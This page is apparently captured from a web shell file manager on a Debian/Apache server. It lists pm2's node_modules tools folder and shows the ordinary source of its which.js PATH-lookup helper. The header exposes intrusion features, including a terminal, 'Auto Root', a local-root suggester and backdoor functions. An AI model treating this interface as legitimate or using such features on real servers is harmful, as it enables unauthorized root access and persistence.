Linux vmi2545633.contaboserver.net 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64
Apache/2.4.62 (Debian)
Server IP : 127.0.0.1 & Your IP : 127.0.0.1
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
node_modules /
pm2 /
lib /
tools /
Delete
Unzip
Name
Size
Permission
Date
Action
Config.js
6.09
KB
-rw-r--r--
2025-04-08 13:05
IsAbsolute.js
606
B
-rw-r--r--
2025-04-08 13:05
copydirSync.js
2.82
KB
-rw-r--r--
2025-04-08 13:05
deleteFolderRecursive.js
480
B
-rw-r--r--
2025-04-08 13:05
find-package-json.js
1.73
KB
-rw-r--r--
2025-04-08 13:05
fmt.js
2.04
KB
-rw-r--r--
2025-04-08 13:05
isbinaryfile.js
2.64
KB
-rw-r--r--
2025-04-08 13:05
json5.js
22.94
KB
-rw-r--r--
2025-04-08 13:05
open.js
1.57
KB
-rw-r--r--
2025-04-08 13:05
passwd.js
1.13
KB
-rw-r--r--
2025-04-08 13:05
promise.min.js
2.59
KB
-rw-r--r--
2025-04-08 13:05
sexec.js
1.17
KB
-rw-r--r--
2025-04-08 13:05
treeify.js
3.46
KB
-rw-r--r--
2025-04-08 13:05
which.js
3.49
KB
-rw-r--r--
2025-04-08 13:05
xdg-open
20.93
KB
-rwxr-xr-x
2025-04-08 13:05
Save
Rename
var fs = require('fs'); var path = require('path'); var cst = require('../../constants.js') // XP's system default value for `PATHEXT` system variable, just in case it's not // set on Windows. var XP_DEFAULT_PATHEXT = '.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.wsh'; // For earlier versions of NodeJS that doesn't have a list of constants (< v6) var FILE_EXECUTABLE_MODE = 1; function statFollowLinks() { return fs.statSync.apply(fs, arguments); } function isWindowsPlatform() { return cst.IS_WINDOWS; } // Cross-platform method for splitting environment `PATH` variables function splitPath(p) { return p ? p.split(path.delimiter) : []; } // Tests are running all cases for this func but it stays uncovered by codecov due to unknown reason /* istanbul ignore next */ function isExecutable(pathName) { try { // TODO(node-support): replace with fs.constants.X_OK once remove support for node < v6 fs.accessSync(pathName, FILE_EXECUTABLE_MODE); } catch (err) { return false; } return true; } function checkPath(pathName) { return fs.existsSync(pathName) && !statFollowLinks(pathName).isDirectory() && (isWindowsPlatform() || isExecutable(pathName)); } //@ //@ ### which(command) //@ //@ Examples: //@ //@ ```javascript //@ var nodeExec = which('node'); //@ ``` //@ //@ Searches for `command` in the system's `PATH`. On Windows, this uses the //@ `PATHEXT` variable to append the extension if it's not already executable. //@ Returns a [ShellString](#shellstringstr) containing the absolute path to //@ `command`. function _which(cmd) { if (!cmd) console.error('must specify command'); var options = {} var isWindows = isWindowsPlatform(); var pathArray = splitPath(process.env.PATH); var queryMatches = []; // No relative/absolute paths provided? if (cmd.indexOf('/') === -1) { // Assume that there are no extensions to append to queries (this is the // case for unix) var pathExtArray = ['']; if (isWindows) { // In case the PATHEXT variable is somehow not set (e.g. // child_process.spawn with an empty environment), use the XP default. var pathExtEnv = process.env.PATHEXT || XP_DEFAULT_PATHEXT; pathExtArray = splitPath(pathExtEnv.toUpperCase()); } // Search for command in PATH for (var k = 0; k < pathArray.length; k++) { // already found it if (queryMatches.length > 0 && !options.all) break; var attempt = path.resolve(pathArray[k], cmd); if (isWindows) { attempt = attempt.toUpperCase(); } var match = attempt.match(/\.[^<>:"/|?*.]+$/); if (match && pathExtArray.indexOf(match[0]) >= 0) { // this is Windows-only // The user typed a query with the file extension, like // `which('node.exe')` if (checkPath(attempt)) { queryMatches.push(attempt); break; } } else { // All-platforms // Cycle through the PATHEXT array, and check each extension // Note: the array is always [''] on Unix for (var i = 0; i < pathExtArray.length; i++) { var ext = pathExtArray[i]; var newAttempt = attempt + ext; if (checkPath(newAttempt)) { queryMatches.push(newAttempt); break; } } } } } else if (checkPath(cmd)) { // a valid absolute or relative path queryMatches.push(path.resolve(cmd)); } if (queryMatches.length > 0) { return options.all ? queryMatches : queryMatches[0]; } return options.all ? [] : null; } module.exports = _which;